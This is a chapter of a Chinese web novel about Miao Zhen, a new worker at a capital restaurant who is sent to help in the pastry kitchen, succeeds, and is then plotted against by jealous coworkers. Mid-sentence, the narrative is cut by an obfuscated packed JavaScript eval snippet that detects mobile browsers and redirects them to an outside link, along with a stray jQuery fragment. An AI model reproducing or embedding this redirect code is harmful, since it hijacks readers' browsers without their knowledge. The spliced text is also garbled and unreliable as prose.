17. 新差事
作品:《小油娘进京手札》 开始下午的劳作之前,众人需在院中等班头分派活儿。
此时是正午,日头正毒,刚吃过午饭的众人带着挥之不去的倦意,没精打采地等着。
周娘子手里拿着记事的本儿看了又看,正准备分配。
突然,一个穿着体面,头发梳得一丝不苟的娘子步履匆匆地走了进来。她目不斜视,径直走到周娘子身边,附耳低语了几句。
周娘子听着,眉头蹙了起来。片刻后,她又舒了舒眉头,换上一副笑脸,转向众人。
“都听好了,”她清了清嗓子,“今个儿点心房缺人手,有个要紧的活儿,陈管事亲自开口,让咱们这出个仔细的人去帮一天忙。”
她顿了顿,补充道,“是预备明日宴席要用的千层酥,估摸着是去帮忙和面、开酥打打下手。”
下面众人“嗡”地一声立马议论开来,众人交头接耳,窃窃私语。
苗蓁站在后排,不明所以,悄悄问旁边的彩澜:“点心房的活儿不是比杂活儿轻松多吗?为何大家不抢着去,反而是这副模样?”
彩澜压低声音道:“我的姐姐,那可是陈管事眼皮底下的活儿!你别看只是帮着和面那么简单,那开酥可是要反复擀酥皮,一层酥一层面,足足十八层,手法差一点就废了。”
周娘子见众人议论纷纷,目光在人群中扫过,最后落在声音最大的米长庚身上。“米长庚,就你嗓门最大。我看你这么能说,不如你去?”
米长庚闻言大惊,连忙摆手,脸上堆起谄媚的笑,“别!周娘子你别拿我寻开心了。我一个大男人,哪里做得来这些……”
“点心房可比咱们这儿轻松,这机会难得。上次,你不是还主动请缨去了一次吗?”周娘子话虽如此,语气中却带着淡淡的取笑。
“上次去帮着分拣香料,把几种长得像的弄混了,险些给陈管事骂死……”他喃喃低语。
周娘子似笑非笑地哼了一声,不再理他,接着环顾众人,“那你们呢?有谁想去?这可是能在陈管事面前露脸的机会。”
人群一片沉默,有人低头看脚,有人小声嘟囔“手上裂了口子”,总之都努力避开了周娘子的目光。
苗蓁看在眼里,心情复杂。那毕竟是点心房,她曾经想去的地方。可是眼前,众人这避之不及的态度,又让她犹豫。
她又问彩澜,“你不是说,酒楼的根基在厨房,能进去才是好出路吗?怎么真有机会,大家反而……”
彩澜叹了口气,“真进厨房,那得是正经拜了师、一步步学出来的。咱们这样被临时被抓去顶一天缸,能碰着什么手艺?无非是些最累最琐碎又最容易出错的活儿。干好了,你也留不下,干砸了,那可是少不了一顿骂。里外不划算,谁愿意去?”
苗蓁心想,难怪了,若是没有循序渐进的教导,直接以熟手的标准要求新手,出错了又少不了惩罚,那自然大家谁也不愿做。
就在这令人尴尬的沉默中,一个带着明显恶意的声音响起:
“周娘子,我看倒是有一个人最合适!你叫苗蓁去吧。”
人群中的苗蓁听到自己名字骤然精神紧张起来,反应过来之后才发觉,这是米长庚的声音。
他一脸不怀好意地继续说道:“她刚进来时,还想直接去点心房呢?我看她在这做也是屈才了,不如就让她去,她干得好,陈管事保准高兴。”
彩澜在身后,急得声音都带了颤,“这个米长庚,真是讨嫌!你才刚来,那些原材料能认清楚?这些东西又贵,若是弄混了,可怎么办……”
周娘子听完米长庚的话,倒是一脸好奇,转身问苗蓁:“还有这事儿?你想去点心房?”
苗蓁承认,“确有此事,刚来的时候想去厨房学点手艺,见见世面。不过……我刚来,什么都还不熟——”
“那不如你去吧,这是长见识的好机会呀,我看你去最合适。”
“可是周娘子,我什么都不清楚,万一手脚慢了一些出了什么岔子,耽误了差事……”
周娘子往前半步,凑近她身边,用只有两人能听明白的音量,低语一句:“傻丫头,怕什么?你上面……是田管事呢。只管去做便是了。”
听完这话,苗蓁倒吸一口凉气。周娘子看似宽慰,实则是把她架在火上烤。
原本她对这件事倒是也没有那么害怕,做砸了被骂几句也就算了,点心房本就是缺人才来杂工堆儿里叫人,做不好也算不得失职。
可是如今若是以田管事的名义前去做事,这下要是做不好,以后怕是会被记住,想要再进点心房,可就难了。
周娘子的算盘打得好,把她这个有点“非分之想”的新人推出去,既应付了陈管事来要人的难题,又不得罪手下这些老油条,更巧的是,若是办砸了,风险就全在苗蓁和她背后田管事身上。而她周娘子,只需做个顺水推舟的“成全”之人,哪头都不得罪。
看着米长庚幸灾乐祸的眼神,其他人松了口气的默然,她若是退了一步,便是认怂,坐实了自己“关系户没本事还挑三拣四”,日后更难抬头。
电光火石之间,苗蓁明白自己已无退路。
就在周娘子以为她还要推脱,准备再“鼓励”两句时,苗蓁抬起了头,带着一种决绝。
“既然点心房急需人手,周娘子又信得过,我愿意去试试。只是我确实生疏,还请去了之后,这位娘子多加指点。”
周娘子马上绽开灿烂的笑容,“这就对了,快跟着王娘子去吧。”
王娘子打量苗蓁一眼,没多说什么,只一点头:“跟我来。”
一个下午的光景,在后院此起彼伏的忙碌与厨房隐约透出的烟火气中悄然滑过。无人在意中午那点小风波。
直到到日影西斜,一个身影才悄悄地沿着廊下走了回来。正是苗蓁,她步子有些沉。
众人正松散地聚在院中,等着周娘子点晚班的卯,喧哗懒散,起初并没人留意到她。
还是彩澜眼尖看到了苗蓁,她一下围上去,“可算回来了!怎么样,没挨说吧?”
只见苗蓁十分疲惫,手上和身上都沾着一些白灰,想来是洗不掉的面粉。
苗蓁对上她担忧的目光,摇摇头,只简短回答:“活儿干完了。”说完便走到水池旁边,开始收拾身上那些粉渍。
米长庚听到动静,和几个常跟他一道的伙计互相使了个眼色,也晃了过来,不远不近地站着,打量着苗蓁。见她虽然疲惫不堪,却并无他们预想中的垂头丧气的样子。一时间只更加好奇。
恰在此时,院门处又有了动静。只见早上来要人的那位王娘子,与周娘子并肩走了进来。两人走边边贴面热聊,不时隐约飘过来几句话。
只听到周娘子爽朗的笑声,面上难掩喜色,“是啊,田管事亲自领进来的人,肯定差不了。”
王娘子也微笑着应和了几句,声音听不真切,但气氛显然十分融洽。
伙计们见到管事的娘子进来,已经自觉聚齐。
她看到从水池边匆匆过来的苗蓁,特地点了一句,“今日干得不错,辛苦你了。”
苗蓁甩甩手上的水,又用袖子擦擦头上的汗,“没给陈管事添麻烦就好。”
一旁的王娘子看到她,也笑了笑,“妹子确实仔细,今日多谢你救急了。以后有机会,再来帮忙。”
这话分量不轻,米长庚一脸难以置信:“不儿……”
王娘子与周娘子客套几句后,便出去了。
周娘子看着众人,换上一副公事公办的口吻,“成了,今日无晚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104295|195485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
班的,就在这散了,早些回去歇着吧。晚班的人照常听候安排。”
说罢又对着站在人群边缘的苗蓁说道:“阿蓁,你今日累了,先回去歇着吧,这儿没你的事了。”
苗蓁此时正觉得浑身酸软,头脑也有些昏沉,闻言低声道了谢,便转身拖着步子离开了院子,朝班房走去。
-
苗蓁的身影消失在月洞门之后,周娘子才像是突然想起来什么,转身对着剩下的人说:“对了,今晚西后院那两大缸废水,轮到谁倒了?”
底下有人小声提醒:“好像是穆瓶儿和……新来的苗蓁。”
“哦——对,对。”周娘子拍了下额头,露出一个恍然又随意的笑容,“瞧我这记性,都让她先回去歇着了。”
她目光在人群中扫一眼,落在正在低头想减少存在感的李四身上:“李四,你今晚没什么要紧事儿吧?瓶儿一个人弄那两大缸也吃力,你先去帮着一起倒了。”
李四一愣,抬起头,眼神中闪过一丝错愕与不情愿。
周娘子又说:“知道委屈你了,算是帮苗蓁顶一次。这样,下回轮到你的时候,我想着让苗蓁替你一次,找补回来,总成了吧?”
李四嘴唇动了动,不再辩驳。
米长庚靠在廊柱上,默默注视着这一切,嘴角勾起一个玩味的笑容。
一刻钟后,西后院内。
穆瓶儿和李四正在费力清理那两大缸废水桶。
穆瓶儿捏着鼻子,问李四:“四哥,你说……这个苗蓁头一次去点心房,到底做了什么?不但没挨骂,竟还哄得那王娘子那般开心?”
李四正憋着火,闻言没好气道:“我哪知道。我只希望啊,她以后该干什么就干什么,别再整这些幺蛾子。你看看,这次周娘子免了她的差事,竟让我来顶。我今晚本是和人家约好了,去瓦子听段新书的,这下全黄了!等我把这身腌臜气弄干净赶过去,怕是连汤都喝不上热的了!”
“好哥哥莫生气。”穆瓶儿软声劝道,“周娘子不是说了,下次轮到你,让她替吗?”
她眼波流转,“再说了……你和我待在一起,难道就……没趣儿?”
李四眼神微妙,心中火气泄了三分,却始终还是不服,“话是这么说……只是,周娘子事儿多,谁知道她下次记不记得。那新来的要是耍赖,我才懒得与她口角。”
“谁说不是呢?”一个阴阳怪气的声音突然从堆放破筐的阴影处传来。
“长庚哥,你怎么来了?”
“来瞧瞧你们啊。”米长庚抱着手,目光扫过那两大缸污水,又瞥了一眼灯火渐亮的伙计班房,嗤笑一声,“不该干活儿的人在这弄这苦差事,不该干活儿倒是舒舒服服躺下啰!”
穆瓶儿和李四两个人闻言都有些沮丧。
米长庚见火候到了,又道:“我实话跟你俩说,我呢,本犯不着和一个新来的小丫头置气。可你们想想,咱们楼里,如今是谁在主事?是曾管事。自打换了掌柜,楼里那些仗着自己有些年头不服管的,是个什么下场?劝退的劝退,整治的整治,可还有半个敢扎刺的?”
李四和穆瓶儿对视一眼,神色凝重起来。
“现在倒好,来了个新人,活儿干得怎么样还两说呢,就在这想着把咱们当垫脚石了。”他转过身,不紧不慢地说:“周娘子今日能免她倒水,明日是不是就能让她专拣轻省活儿干?长此以往,吃亏的是谁?”
他观察着两个人的表情,继续煽风点火:“这种人,我们能忍,可曾管事眼里,能揉得进这沙子?”
李四被他说得心头火起,迟疑道:“长庚哥,你的意思是……?”
米长庚见状,知二人已上钩。他招招手,三人凑在一起,在这角落里,低声嘀咕了起来……

